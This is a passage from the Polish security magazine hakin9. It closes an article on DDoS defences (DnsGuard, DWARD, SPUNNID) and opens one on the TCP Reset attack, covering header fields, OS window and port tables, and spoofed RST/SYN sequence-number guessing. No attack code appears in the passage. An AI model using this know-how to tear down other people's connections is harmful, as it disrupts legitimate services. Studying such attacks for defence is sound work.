sane  wcześniej.  DnsGuard  jest  po-
średnikiem między serwerem DNS a
klientem.  Z  punktu  widzenia  klienta
zachowuje się jak serwer DNS. Mo-
że  odpowiadać  na  zapytania  reku-
rencyjne jak i nierekurencyjne. Naj-

pierw  zostanie  omówiony  sposób
działania w trybie nierekurencyjnym
-  czyli  mechanizm  odpowiedzi  na
pytania nierekurencyjne. Zostanie to
zrobione  na  przykładzie.  Załóżmy,
że  DnsGuard  chroni  jeden  z  głów-
nych  serwerów  DNS  (root  serwer).
W  pierwszym  kroku  klient  zada-
je nierekurencyjne pytanie o dome-
nę  www.foo.com.  DnsGuard  prze-
chwytuje  zapytanie  i  bez  kontakto-
wania  się  z  prawdziwym  serwerem
DNS odsyła odpowiedź (krok drugi)
mówiącą o tym, że serwerem NS dla
domeny com jest COOKIEcom. CO-
OKIE  konstruuje  się  podobnie  jak
dla Syncookie i jest ono zapisane w
czytelnym formacie (zgodnym z na-
zwą domeny definiowaną przez pro-
tokół  DNS).  W  trzecim  kroku  klient
wysyła kolejne zapytanie w celu za-
miany COOKIEcom na adres IP. W
tym momencie DnsGuard sprawdza
poprawność  cookie.  Jeśli  jest  ono
poprawne, to w czwartym kroku pyta
się chronionego serwera DNS o ad-
res IP serwera NS dla domeny com.
W  piątym  DnsGuard  kroku  dostaje
odpowiedź  x,  którą  zwraca  kliento-
wi w szóstym kroku - wrócona odpo-
wiedź to domena COOKIEcom z ad-
resem x. Dalej klient może już połą-
czyć się z adresem x, który jest ser-
werem NS dla domen com, po czym
przeprowadzić proces od nowa, uzy-
skując tym razem adres serwera NS
dla domeny foo.com.

W trybie zapytań rekursyw-

nych  jest  trochę  inaczej.  W  pierw-
szym kroku klient wysyła zapytanie o
www.foo.com.  W  drugim  DnsGuard
odpowiada, że NS dla www.foo.com
to  COOKIE  www.foo.com.  W  trze-
cim klient przesyła zapytanie o adres
IP  COOKIEwww.foo.com  po  czym
następuje  weryfikacja  COOKIE.  W
czwartym  kroku  DnsGuard  wysyła
zapytanie  do  chronionego  serwera
DNS  (przyjmującego  zapytania  re-
kursywne)  o  adres  www.foo.com,
po czym w piątym kroku dostaje od-
powiedź  x.  W  szóstym  kroku  Dns-
Guard  zwraca  odpowiedź  kliento-
wi mówiącą o tym, że adres IP CO-
OKIEwww.foo.com  jest  COOKIE2.
Jeśli  przez  DnsGuard  przepływa
ruch  o  adresach  1.2.3.0/24  to  CO-

Rysunek 6.

DnsGuard - tryb iteracyjny

hakin9 Nr 2/2007

www.hakin9.org

Atak

OKIE2  ma  format  1.2.3.y  gdzie  y
może przyjąć wartość od 0 do 255.
Teraz  klient  zna  adres  IP  serwera
NS  dla  domeny  www.foo.com  więc
wysyła  do  niego  zapytanie  o  ad-
res  www.foo.com  (krok  7).  Po  jego
odebraniu DnsGuard sprawdza, czy
wcześniej została do takiego klienta
wysłana informacja o tym, że 1.2.3.y
to NS dla domeny www.foo.com. Je-
śli  weryfikacja  COOKIE2  przebie-
gła poprawnie DnsGuard może jesz-
cze  raz  wykonać  zapytanie  do  ser-
wera DNS (kroki 8 i 9) albo od razu

zwrócić odpowiedź uzyskaną w kor-
ku 5 (krok 10). Strzałki zaznaczone
linią przerywaną na obu rysunkach
oznaczają, że przy kolejnych zapy-
taniach od tych adresów IP kroki te
będą pominięte (adresy te uznane za
zaufane).

DWARD

Jest projektem mającym na celu wy-
krywanie ataku DDoS w jego wcze-
snej fazie - w pobliżu źródła ata-
ku. Składa się z modułów observa-
tion, rate-limiting oraz traffic-poli-

cing.  Obserwacja  i  zbieranie  sta-
tystyk  ruchu  odbywa  się  dwutoro-
wo. Po pierwsze zbierane są staty-
styki dla każdego odległego adresu
IP  (zwane  agregacją  agflow).  Każ-
dy rekord agflow zawiera dane doty-
czące  ilości  oraz  rozmiarów  pakie-
tów  TCP,  UDP  oraz  ICMP  wysyła-
nych  w  obu  kierunkach.  Po  drugie
zbierane  są  statystyki  dla  każdego
połączenia TCP (agregacja connec-
tion). Każdy rekord opisujący połą-
czenie  zawiera  podobne  statystyki
jak rekord agflow.

Jednocześnie stworzone zostały

trzy klasy ruchu dla agregacji agflow.
Pierwsza z nich to klasa Normal opi-
sująca ruch, którego statystyki zgod-
ne są z normalnym modelem ruchu.
Kolejna to Suspicious używana do
opisania agflow zgodnego z normal-
nym modelem, jednak zaklasyfiko-
wanego niedawno do trzeciej z klas:
Attack. Klasa Attack używana jest do
opisania ruchu niezgodnego z okre-
ślonymi normami.

Moduł obserwacyjny porównu-

je bieżące rekordy agflow z normal-
nym modelem ruchu, po czym de-
cyduje do której z tych klas zaliczyć
dany ruch. W tym celu zdefiniowano

Rysunek 7.

DnsGuard - tryb rekursywny

Rysunek 8.

DWARD - architektura

Rate limit calculation

f(x-y)

Classification

Agflow Table

Connection Table

Agflow Models

Connection Models

Traffic statistics

Legitimate

Connection List

Aglow classification

results

Rate

Limit

Rules

RESOURCE ROUTER

RATE-LIMITING COMPONENT

OBSERVATION COMPONENT

TRAFFIC-POLICING

COMPONENT

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

parametr,  który  określa  maksymal-
ny  stosunek  ilości  pakietów  wysła-
nych do odebranych. Jego przekro-
czenie  oznacza,  że  zostało  wysła-
nych znacząco więcej pakietów niż
odebrano (prawdopodobnie bez po-
twierdzenia  ACK  dla  TCP),  co  jest
jednym z syndromów ataku. Bieżą-
cy stosunek ilościowy pakietów jest
odpowiednio modyfikowany w przy-
padku,  jeśli  przez  pewien  czas  nie
otrzymuje się potwierdzenia (jest on
zwiększany w celu wykrycia ataku).
Dzięki temu jeśli dany /emphagflow
był  zaklasyfikowany  jako  normalny
w  przypadku  nagłego  nastąpienia
ataku  zostanie  to  szybciej  wykry-
te. Dla TCP dodatkowo wykorzysty-
wane są jeszcze stosunki ilościowe
pakietów TCP z flagami SYN i ACK.
Dla ICMP porównywane są np: sto-
sunek ilości ICMP echo i reply. Pro-
tokół  UDP  nie  posiada  tak  moc-
nej korelacji dwukierunkowej, wiele
aplikacji wysyła datagramy UDP do
odbiorcy bez potwierdzenia. Dlate-
go tutaj dobrano dwie wartości gra-
niczne.  Jedna  z  nich  określa  mak-
symalną ilość adresów źródłowych
a  druga  minimalną  ilość  pakietów
dla  danego  /emphagflow.  Po  prze-
kroczeniu obu wartości ruch klasyfi-
kowany jest jako atak.

Podobną metodę wykorzystano

dla agregacji connection. Wyróżnio-
ne są trzy klasy połączeń. Good, Bad
oraz Transient. Moduł obserwacyjny
dla każdej agregacji typu connection
przydziela odpowiednią klasę. Dla

TCP  stosowane  są  podobne  meto-
dy klasyfikacji co dla agflow, jednak
z uwzględnieniem specyfiki połącze-
niowości.  Przykładowo  po  wysłaniu
pakietu z flagą SYN i otrzymaniu SY-
N+ACK dane połączenie jest klasyfi-
kowane jako Transient. Dla ICMP w
ogóle  nie  buduje  się  agregacji  con-
nection  ze  względu  na  bezpołącze-
niowość  protokołu.  Dla  UDP  nato-
miast  zdefiniowanych  zostało  sze-
reg klas ruchu w zależności od pro-
tokołów, takich jak: DNS, NTP, multi-
media streaming, VoIP, NFS, aplika-
cje typu czat oraz gry sieciowe. Dla
każdej z tych klas są ściśle określo-
ne  reguły  dotyczące  normalności
ruchu.  DWARD  umożliwia  jeszcze
przewidywanie  kolejnych  numerów
sekwencyjnych dla danego połącze-
nia i w przypadku, gdy są one rażąco
inne  stosuje  ograniczanie  ruchu  dla
takich połączeń.

Dla tak zdefiniowanego i spriory-

tyzowanego  ruchu  (zarówno  agre-
gacje agflow jak i connection) wyli-
czane są współczynniki opóźnienia
tak  aby  pasmo  zajmowane  przez
atakującego  (oraz  ilość  wysłanych
pakietów) były jak najmniejsze. Ste-
rowanie całym ruchem przypomina
trochę to znane z TCP. W przypad-
ku  wykrycia  ataku  następuje  gwał-
towne  przycięcie  pasma  dla  dane-
go  połączenia  (agregacja  connec-
tion)  lub  adresu  IP  (agregacja  ag-
flow). Przy zmianie statusu ruchu na
przejściowy lub poprawny następu-
je  powolne  zwiększanie  dostępne-

go  pasma.  Polityka  przydziału  pa-
sma  zależy  też  od  sposobu  w  jaki
reaguje  ruch.  Jeśli  jest  on  bardziej
elastyczny  i  ilość  przesyłanych  pa-
kietów  dopasowuje  się  do  nałożo-
nych limitów pasma, to taki ruch bę-
dzie szybciej je odzyskiwał niż taki,
który mimo nałożonych limitów cią-
gle próbuje wysyłać znacznie więk-
sze  ilości  pakietów.  W  przypadku
wykrycia ataku, gwałtowność spad-
ku przydzielonego pasma zależy nie
tylko od tego jak bardzo naruszono
granice zdefiniowane przez normal-
ny ruch, ale także od tego, jak dłu-
go ten ruch był zaklasyfikowany ja-
ko poprawny.

DWARD jest bardzo ciekawym

i  dość  skutecznym  rozwiązaniem.
Większość  ataków  wykryta  została
w  przeciągu  4  sekund  przy  fałszy-
wych  alarmach  nie  przekraczają-
cych  0.01%  i  jednoczesnym  pozio-
mie wykrywalności przekraczającym
98%. Umieszczenie detektora blisko
źródła  ataków  daje  dużą  skutecz-
ność wykrycia źródła ataku. Proble-
matyczne  są  jednak  masowe  ataki
DoS, które wyglądają jak zwyczajny
ruch  TCP.  Atakujący  może  również
próbować generować taki ruch, któ-
ry  jest  minimalnie  poniżej  parame-
trów będących wyzwalaczami ataku.
DWARD do działania potrzebuje tak-
że  aby  dane  pakiety  wracały  tą  sa-
mą drogą, którą przybyły, ponieważ
większość  analiz  dotyczy  stosunku
ilości ruchu przychodzącego do wy-
chodzącego.  Dużą  zaletą  systemu
są jego niewielkie wymagania doty-
czące wydajności.

SPUNNID

SPUNNID  jest  jednym  z  wielu  sys-
temów  detekcji  DDoS  bazujących
na  sieciach  neuronowych.  Opie-
ra się on na nienadzorowanej sieci
ART (Adaptive Resonanse Theory).
Nienadzorowana  oznacza,  że  jest
ona  karmiona  tylko  pewnymi  dany-
mi  wejściowymi  bez  dodatkowych,
uprzednio  przygotowanych  danych
kontrolnych,  mówiących  o  pew-
nej  specyfice  (bądź  kategorii)  tych
danych  wejściowych.  W  praktyce
oznacza to, że taka sieć może sama
kategoryzować  ruch  sieciowy,  po-

Rysunek 9.

Sieć ART1

ATTENTIONAL

SUBSYSTEM

ORIENTING

SUBSYSTEM

STM F1

DIPOLE FIELD

STM F2

GAIN

CONTROL

GAIN

CONTROL

INPUT

PATTERN

STM

RESET

WAVE

–

hakin9 Nr 2/2007

www.hakin9.org

Atak

dzielić go na klastry, z których każ-
dy będzie zawierał tylko ten o kon-
kretnej  specyfice  -  zgodnie  z  eks-
trapolowanym zbiorem cech. Same
sieci ART posiadają wiele zalet, któ-
re można wykorzystać do rozwiąza-
nia  problemów  ataków  DDoS.  Po
pierwsze parametr czujności - vigi-
lance,  za  pomocą  którego  można
kontrolować  poziom  precyzji  ucze-
nia  sieci  i  w  efekcie  jak  wiele  kla-
strów  powstanie.  Ponadto  są  one
dość  stabilne  -  nie  zdarza  się,  aby
jeden wektor testowy zostawał przy-
porządkowany  raz  do  jednego  kla-
stra, raz do innego. Nie ważne w ja-
kiej kolejności wektory testowe bę-
dą podawane na wejście - i tak każ-
dy z nich zostanie zaklasyfikowany
do tego samego klastra. Są również
dość plastyczne - co daje zdolność
uczenia się nowych wektorów w ta-
kim  samym  stopniu  w  każdym  eta-
pie trenowania.

Algorytm dla sieci ART jest dość

prosty.  W  pierwszym  etapie  nastę-
puje inicjalizacja wektorów wzorco-
wych sieci (wag) oraz parametru vi-
gilance, który mieści się w przedzia-
le (0,1). Kolejna faza to trenowanie
sieci,  podczas  której  podaje  się  na
jej  wejście  kolejne  wektory  trenu-
jące.  Dla  każdego  takiego  wekto-
ra trenującego znajdywany jest naj-
bardziej  podobny  wektor  wzorco-
wy. Następnie sprawdzany jest po-
ziom zróżnicowania pomiędzy obo-
ma wektorami. Jeśli jest większy niż
zdefiniowany  przez  parametr  vigi-
lance, to tworzony jest kolejny wek-
tor  wzorcowy  symbolizujący  po-
wstanie  nowego  klastra.  Jeśli  nie,
to wektor trenujący jest klasyfikowa-
ny jako należący do klastra "najbar-
dziej  podobnego"  wektora  wzorco-
wego.  W  takim  wypadku  odpowia-
dający mu wektor wzorcowy jest od-
powiednio  modyfikowany,  aby  le-
piej się dopasować do wektora tre-
nującego.  Dopuszcza  się  też  mo-
dyfikację  pozostałych  wektorów  te-
stowych,  aby  oddalić  je  od  wekto-
ra  trenującego.  Dla  parametru  vi-
gilance  równego  1  wymagane  jest
100% dopasowanie więc powstanie
tyle  klastrów,  ile  jest  wektorów  tre-
nujących. Dla wartości równej 0 po-

wstanie tylko jeden klaster. Wybie-
ra się go tak, aby otrzymać wyma-
ganą liczbę klastrów. W ten sposób
z bardzo dużym przybliżeniem dzia-
łają sieci ART9.

Praktyczne realizacje oparte na

ART-1 składają się z dwóch warstw
F1 i F2. W warstwie F2 aktywowa-
ny jest tylko jeden bit odpowiadają-
cy  najlepiej  dopasowanemu  wzor-
cowi.  Część  sieci  zwana  Attentio-
nal  subsystem  odpowiada  za  re-
akcje  na  znane  wektory  wejściowe
oraz  dopasowywanie  już  istnieją-
cych wektorów wzorcowych. Buduje
ona  wektor  oczekiwań  -  top-down,
łączący  warstwę  F2  z  F1  i  poma-
gający  stabilizować  pracę  sieci10.
Jednak  Attentional  subsystem  nie
jest  w  stanie  plastycznie  reagować
na  wektory  nowego  typu.  Do  te-
go  służy  Orienting  subsystem,  któ-
ra ma na celu wyliczenie podobień-
stwa  między  wektorem  trenującym
a wzorcowym i w przypadku za du-
żej różnicy wstawienie nowego wek-
tora wzorcowego. Więcej o sieciach
ART w [14][15].

SPUNNID bazuje na zaprojek-

towaniu  takiej  sieci  ART-1,  dla  któ-
rej  powstają  trzy  klastry  opisujące
ruch11. Może to być ruch normalny,
znany atak DDoS lub nowy, niezna-
ny atak. W celu wytrenowania takiej
sieci należy z wychwyconych pakie-
tów ekstrapolować zespół cech, któ-
re  następnie  są  przekształcane  w
odpowiednio  znormalizowany  binar-
ny  wektor  trenujący  (a  potem,  pod-
czas  wykrywania  wektor  testujący).
W  tym  celu  ustala  się  okno  czaso-
we T, podczas którego wychwytywa-
ne się wszystkie pakiety, dla których
wyliczane są cechy, po czym poda-
je się odpowiedni wektor na wejście
ART-1. Wzięto pod uwagę następu-
jące cechy: procentowy udział w ca-
łym ruchu pakietów TCP, UDP, ICMP,
procentowy udział w ruchu TCP pa-
kietów  z  flagami  SYN,  SYN+ACK,
ACK, średni rozmiar nagłówka oraz
średni rozmiar danych.

Podczas niektórych testów sieć

SPUNNID  okazała  się  dość  efek-
tywna,  osiągając  skuteczność  wy-
krywania  ataków  DoS  na  pozio-
mie 90% przy bardzo niskim współ-

czynniku fałszywych alarmów. Wa-
dą rozwiązań opartych na sieciach
neuronowych  jest  to,  że  wymaga-
ją  one  ciągłego  uczenia,  im  więk-
szy  i  bardziej  pełny  zestaw  wek-
torów  trenujących,  tym  lepiej  dzia-
ła  sieć.  Zaletą  rozwiązania  SPUN-
NID jest relatywnie niski nakład wy-
maganych  obliczeń  w  porównaniu
do  innych  rozwiązań  opartych  na
sieciach  neuronowych.  Nie  wyma-
ga  się  tutaj  pełnej  analizy  każde-
go połączenia TCP, a jedynie zbie-
ra  pewien  zestaw  statystyk.  Dlate-
go zaleca się jej umiejscowienie bli-
sko celu ataku.

Podsumowanie

Ataki  typu  DoS  ewoluują  nieustan-
nie.  Nowoczesne  DDoS  ciągle  ba-
zują  na  mechanizmach  sprzed  10
lat,  jednak  masowość  i  ilość  uży-
wanych  do  ataku  komputerów  czy-
nią je coraz groźniejszymi. W ostat-
nim  czasie  zaczynają  pojawiać  się
sieci  liczące  nawet  setki  tysiące
komputerów,  co  pozwala  na  prak-
tycznie  bezkarne  blokowanie  ata-
kami DoS każdego większego ser-
wera. Jednocześnie wykorzystywa-
ne są coraz skuteczniejsze metody
ataków  -  chociażby  te  związane  z
protokołem  DNS  i  jego  rozszerze-
niami.  Niestety  większość  używa-
nych  powszechnie  protokołów  nie
była  projektowana  z  myślą  o  bez-
pieczeństwie. Nawet te zaprojekto-
wane  niedawno  jak  ipv6  posiadają
wiele słabych punktów, które z pew-
nością będą nadal wykorzystywane
przez  atakujących.  Z  drugiej  stro-
ny  pojawia  się  coraz  więcej  syste-
mów służących detekcji, namierza-
niu i unikaniu atakom. Są to zazwy-
czaj  systemy  specjalizowane.  Sku-
teczna obrona przed DoS wiąże się
z kompleksowymi działaniami zwią-
zanymi  z  instalacją  takich  syste-
mów  na  masową  skalę.  Wszystko
wskazuje  na  to,  że  skala  ataków  i
straty z nich wynikające będą stop-
niowo  zmuszać  administratorów
sieci  oraz  operatów  ISP  do  coraz
bardziej  zdecydowanych  działań
zmierzających  do  zmniejszenia  ta-
kich zagrożeń. Na ile będę one sku-
teczne ? Czas pokaże. l

www.hakin9.org

hakin9 Nr 2/2007

Atak

agrożenia związane z możliwością
przechwycenia sesji TCP (Transmis-

sion Control Protocol) były znane spe-

cjalistom bezpieczeństwa sieciowego od wie-
lu lat. Oryginalna specyfikacja protokołu TCP
zawiera  rozwiązanie  umożliwiające  popraw-
ną  transmisję  pakietów  odbieranych  w  loso-
wej  kolejności  oraz  jednoczesne  odrzuca-
nie duplikatów. Dodatkowo chroni transmisję
przed  atakiem  wstrzyknięcia  danych  (ang.

injection).  Numery  sekwencyjne  zawarte  w
każdym  nagłówku  TCP  przenoszą  informa-
cje o kolejności, w jakiej otrzymywane dane
powinny być ze sobą łączone. Jednocześnie
mają  zapewniać  bezpieczeństwo  strumienia
danych  TCP.  Chociaż  świadomość  związa-
nego z nimi potencjalnego zagrożenia istnia-
ła od wielu lat, niewiele zrobiono, aby je wy-
eliminować i jeszcze mniej na ten temat na-
pisano.

Ataki oparte na numerach sekwencyjnych

TCP  wykorzystywały  słabości  w  generowa-
niu  pseudolosowych  numerów,  którymi  po-
sługuje  się  podczas  nawiązywania  połącze-
nia.  Wczesne  implementacje  stosów  TCP  w
przypadku  większości  systemów  nie  mogły
pochwalić się odpowiednio dobrą losowością

numerów sekwencyjnych. Fakt ten umożliwiał
odgadnięcie inicjującego numeru sekwencyj-
nego (Initial Sequence Number) w bardzo
krótkim czasie. Znanym przykładem wyko-
rzystania słabej losowości numerów sekwen-
cyjnych był atak przeprowadzony na kompu-
ter Tsutomu Shimomury przez Kevina Mitnic-
ka w 1994 roku.

Z biegiem czasu algorytmy generujące lo-

sowe numery stawały się coraz lepsze i wio-
dące systemy operacyjne (nawet Windows,

Przecinanie kabla – atak

TCP Reset

Marcin Ulikowski

stopień trudności

Protokół TCP został stworzony prawie 30 lat temu, gdy duże

liczby naturalne wydawały się większe niż dzisiaj. Twórcy

protokołu, podobnie jak w przypadku kończącej się 32-bitowej

przestrzeni adresowej IP, nie przewidzieli, że taki sam rozmiar

pewnego pola w nagłówku TCP może stać się po wielu latach

problemem.

Z artykułu dowiesz się...

• z czego wynika słabość protokołu TCP,
• w jaki sposób przeprowadzić przykładowy atak

TCP Reset,

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• podstawowe informacje na temat protokołów

sieciowych i komunikacji w internecie,

• znajomość języka ANSI C będzie pomocna, ale

nie niezbędna.

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

który  wcześniej  nie  znał  znaczenia
słowa „losowy”) mogły pochwalić się
znacznie  większym  poziomem  bez-
pieczeństwa.  Równocześnie  z  lep-
szymi algorytmami losującymi zwięk-
szała się także przepustowość Inter-
netu. Szybkie łącza stały się tańsze
i bardziej dostępne. Problem nume-
rów sekwencyjnych powrócił.

Nagłówek TCP

Protokół  TCP  należy  do  warstwy
transportowej modelu OSI i jest od-
powiedzialny  za  kontrolę  przepływu
poprawności  danych.  Podstawo-
wy  mechanizm  protokołu  zakłada
konieczność  potwierdzenia  przez
odbiorcę  wszystkich  otrzymanych
segmentów  TCP.  Nadawca  wysyła
pewną porcję danych. Gdy nadejdzie
potwierdzenie  od  odbiorcy,  nadaw-
ca  może  wysłać  następną  porcję
danych.  Gdy  odbiorca  sygnalizuje
błędy  lub  nie  wyśle  potwierdzenia,
następuje  retransmisja  wszystkich
danych,  począwszy  od  pierwszego
niepotwierdzonego  segmentu.  Ana-
lizując  nagłówek  TCP  skupimy  się
tylko  na  tych  elementach,  których
znajomość  jest  kluczowa  do  zro-
zumienia  idei  działania  ataku  TCP
Reset.

Numer sekwencyjny

Gdy  strumień  danych  zostaje  po-
dzielony  na  pakiety,  mogą  one  do-
trzeć  do  odbiorcy  w  nieprawidłowej
kolejności,  na  przykład  wskutek
przeciążenia  sieci.  Numer  sekwen-
cyjny o długości 32 bitów pełni rolę
identyfikatora  dla  każdego  wysyła-
nego pakietu, dzięki czemu strumień

danych  może  zostać  poprawnie
złożony w całość po drugiej stronie.
Identyfikatory  pakietów  nie  mogą
zaczynać się od liczby 0 ani żadnej
innej  stałej  wartości.  Musi  to  być
możliwie  najlepsza  losowa  liczba,
aby umożliwić przeprowadzenie po-
prawnej transmisji, która nie zostanie
zakłócona.

Okno

Rozmiar okna (ang. window) odzwier-
ciedla  maksymalną  liczbę  pakietów
(oraz  buforowanych  danych),  które
mogą być wysłane bez konieczności
oczekiwania  na  pozytywną  odpo-
wiedź.  Duże  okna  TCP  poprawiają
wydajność  protokołu  TCP/IP  pod-
czas przesyłania dużej ilości danych
między nadawcą i odbiorcą. Zbyt du-
ży  rozmiar  okna  powoduje  większe
zużycie  pamięci  i  dłuższą  ponowną
retransmisję w razie utraty pakietów.
Natomiast  zbyt  mały  rozmiar  okna
obniża szybkość transmisji wydłuża-
jąc  czas  potrzebny  na  oczekiwanie
potwierdzenia. W typowym połącze-

niu  TCP  maksymalny  rozmiar  okna
jest  ustalany  na  początku  połącze-
nia  i  jest  ograniczony  do  64kB,  co
wynika  z  16-bitowej  długości  tego
pola.  Po  otrzymaniu  wszystkich  pa-
kietów  mieszczących  się  w  oknie,
host może odesłać pakiet z zerowym
rozmiarem  okna,  informując  drugą
stronę  połączenia,  aby  wstrzymała
na  moment  wysyłanie  kolejnych
pakietów.

Każda implementacja stosu TCP

dla  systemów  operacyjnych  czy
urządzeń  sieciowych  ma  zdefinio-
waną własną wielkość okna ustalaną
podczas  nawiązywania  połączenia.
Rozmiar  może  się  zmieniać  dyna-
micznie podczas transmisji (na przy-
kład  zmniejszyć  jeśli  duża  część
pakietów  nie  dociera  do  odbiorcy).
Bardzo  pomocna  będzie  Tabela  1,
która  zawiera  początkowe  rozmiary
okna dla popularnych systemów.

Flagi

Nagłówek pakietu TCP może zawie-
rać sześć bitów kontrolnych (SYN,

Rysunek 1.

Nagłówek TCP, nazwy omawianych pól mają kolor czerwony

Jeszcze większe okna

Dokument RFC-793 z 1981 roku okre-
śla maksymalny rozmiar okna TCP jako
64kB. Jest to mało, jak na dzisiejsze
łącza. Dlatego nowszy dokument RFC-
1323 z 1992 roku wprowadza rozsze-
rzenie do protokołu o nazwie Window
Scaling, które umożliwia zwiększenie
rozmiaru okna nawet do 1GB. Wymaga
to umieszczenia dodatkowej opcji pod
nagłówkiem TCP. Większe okno ozna-
cza zwiększoną szybkość transmisji na
łączach o dużej przepustowości.

Tabela 1.

Początkowy rozmiar okna w zależności od systemu operacyjnego

System operacyjny

Początkowy rozmiar okna

Linux 2.4 - 2.6

5840

Linux 2.2

16384, 32768

Linux 2.0.3x

512, 16384

Windows XP

16384, 64240

Windows 2000

16384, 64512

Windows 2003

65535

Windows 9x, NT 4

8192

FreeBSD 5x, 6x

65535

hakin9 Nr 2/2007

www.hakin9.org

Atak

ACK,  PSH,  URG,  RST  oraz  FIN)
zwanych flagami. Określają one, co
zawiera pakiet i jaką spełnia funkcję
podczas transmisji. Z naszego punk-
tu  widzenia  najbardziej  interesujące
są trzy z nich: SYN, ACK i RST. Fla-
ga SYN (synchronize)  jest wysyłana
razem  z  pakietem  nawiązującym
połączenie.  Dołączany  jest  do  niej
losowy  numer  sekwencyjny  (ISN).
Druga  strona  odsyła  własny  pakiet
z  ustawionymi  flagami  SYN+ACK.
Wysyła  także  własny  losowy  nu-
mer  sekwencyjny  (ISN)  oraz  numer
potwierdzenia

(acknowledgment),

który odpowiada otrzymanemu
wcześniej

ISN

zwiększonemu

o jeden. Jeśli strona próbująca na-
wiązać połączenie otrzyma pakiet
i dokona pozytywnej weryfikacji nu-
meru potwierdzenia (polegającej na

sprawdzeniu  czy  otrzymany  numer
potwierdzenia jest równy wysłanemu
wcześniej ISN plus jeden), może wy-
słać pakiet z flagą ACK. Jeśli numer
potwierdzenia w trzecim pakiecie jest
równy ISN+1 z pakietu poprzedniego
to  oznacza,  że  połączenie  zostało
nawiązane.  Teraz  dane  mogą  być
wysyłane  w  obu  kierunkach.  Każdy
kolejny pakiet będzie miał zwiększo-
ny numer sekwencyjny. Aby natych-
miast  zerwać  połączenie  wystarczy
wysłać pakiet z ustawioną flagą RST
(reset)  lub  RST+ACK,  jeśli  chcemy
otrzymać potwierdzenie.

Porty

Nagłówek  TCP  zawiera  dwa  16-
bitowe  pola  w  których  występują
informacje na temat portu źródłowe-
go  i  portu  docelowego.  Komputery

podłączone do sieci komunikują się
ze  światem  zewnętrznym  przez
porty,  które  pozwalają  zarówno  na
wysyłanie,  jak  i  odbieranie  danych.
Porty umożliwiają identyfikację kon-
kretnego połączenia oraz pozwalają
ustalić,  które  pakiety  przesyłane  są
w jego zakresie. Z tego powodu dwa
połączenia  wychodzące  nie  mogą
wykorzystywać  tego  samego  portu
źródłowego.

Kiedy chcemy nawiązać połą-

czenie z konkretną usługą na innym
komputerze,  na  przykład  SSH,  nu-
mer  portu  docelowego  w  pakiecie
SYN będzie miał wartość 22 (jest to
domyślny  numer  portu  dla  tej  usłu-
gi,  chociaż  może  być  inny).  Zwy-
kle  mamy  możliwość  wyboru  portu,
na jaki chcemy się połączyć, ponie-
waż aplikacja udostępnia taką moż-
liwość.  Port  źródłowy  ustalany  jest
przez  system  operacyjny  (aczkol-
wiek  możliwe  jest,  aby  wyboru  do-
konała aplikacja). Zwykle jest to ko-
lejny  wolny  numer.  Nie  jest  on  wy-
bierany,  jak  mogłoby  się  wydawać,
z pełnej puli 65536 portów. Część z
nich  jest  zarezerwowana  dla  uprzy-
wilejowanych  procesów  (najczę-
ściej pierwsze 1024) oraz dla funkcji

Losowe porty

Większość  systemów  operacyjnych
i urządzeń sieciowych wybierając port
źródłowy  dla  tworzonego  połączenia
korzysta  z  kolejnego  wolnego.  Wy-
jątkiem  jest  OpenBSD,  który  losuje
porty  ze  zbioru  nieużywanych  przez
inne połączenia. Twórcy tego systemu
bardzo duży nacisk kładą na jego bez-
pieczeństwo.  W  przypadku  systemu
Linux,  podobną  funkcję  oferuje  łatka
grsecurity.

Tabela 2.

Numery pierwszych dostępnych dla połączeń portów źródłowych

System operacyjny

Pierwszy dostępny port TCP

Linux 2.4.x

1024

Windows XP (SP1, SP2)

1050

Windows 2000 SP3

1060

Windows 2000 SP4

1038

*BSD

1024

Atak z flagą SYN

Zamiast  flagi  RST  możemy  z  powo-
dzeniem  wykorzystać  flagę  SYN  do
przerwania połączenia. Większość im-
plementacji stosu TCP odpowie wysy-
łając pakiet z ustawioną flagą RST oraz
właściwym  numerem  sekwencyjnym,
powodując  zakończenie  transmisji.
W  ten  sposób  prowokujemy  jedną  ze
stron do przerwania połączenia.

Rysunek 2.

Nawiązywanie połączenia TCP, tzw. three-way handshake

Host A

ISN = A, ACK = 0

SYN

Host B

Host A

ISN = B, ACK = A + 1

SYN+ACK

Host B

Host A

SEQ = A + 1, ACK = B + 1

ACK

Host B

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

systemowych jak na przykład trans-
lacji adresów (w tym przypadku od
49152 do 65535).

Podobnie jak w przypadku począt-

kowego rozmiaru okna, poszczególne
implementacje  stosu  TCP  różnią  się
pod  względem  ilości  portów  zare-
zerwowanych  dla  uprzywilejowanych
procesów.  Tabela  2  przedstawia  nu-
mery pierwszych dostępnych do użyt-
ku  portów  w  przypadku  popularnych
systemów operacyjnych.

Przerywanie połączeń

Atak  TCP  Reset  polega  na  zmu-
szeniu jednej ze stron do zerwania
połączenia  podszywając  się  pod
adres  drugiego  komputera.  Wy-
obraźmy sobie, że komputer A ma
nawiązane  połączenie  z  kompute-
rem B. Trzeci komputer C chce ze-
rwać to połączenie. Wysyła w tym
tym  celu  do  komputera  A  pakiet  z
ustawioną  flagą  RST  oraz  z  ad-
resem  źródłowym  należącym  do
komputera  B.  Pakiet  zawiera  tak-
że porty - źródłowy i docelowy od-
powiadające  atakowanemu  połą-
czeniu  oraz  aktualnie  obowiązują-
cy  (czyli  taki,  który  spodziewa  się
otrzymać  komputer  A)  numer  se-
kwencyjny. Gdy komputer A otrzy-
ma ten pakiet, natychmiast zerwie
połączenie.

Głównym problemem jest od-

gadnięcie  numeru  sekwencyjne-
go,  który  zostanie  zaakceptowa-
ny  przez  jedną  ze  stron  połącze-
nia.  Ponieważ  numery  sekwen-
cyjne  mają  długość  32  bitów,  licz-
ba  możliwych  permutacji  wynosi
4294967296, czyli ponad 4 miliardy.
Jeśli  komputer  C  miałby  zgadywać
numer sekwencyjny to jego szanse
powodzenia  są  znacznie  mniejsze
niż  szanse  na  główną  wygraną  w
popularnej grze liczbowej.

Atakujący może także wyko-

rzystać  wszystkie  możliwości,  jed-
nak  w  najgorszym  przypadku  bę-
dzie to wymagało wysłania 160GB
danych,  przy  założeniu,  że  każdy
wysłany pakiet RST ma długość 40
bajtów. Czas potrzebny na wysłanie
takiej ilości danych przy użyciu łą-
cza DSL 1Mb/s wynosi około 2 ty-
godni.  Połączenie  między  kompu-

terem  A  i  B  zostanie  zakończone
w krótszym czasie w sposób natu-
ralny. Rozwiązaniem problemu jest
rozmiar  okna  w  pakiecie  TCP.  Po-
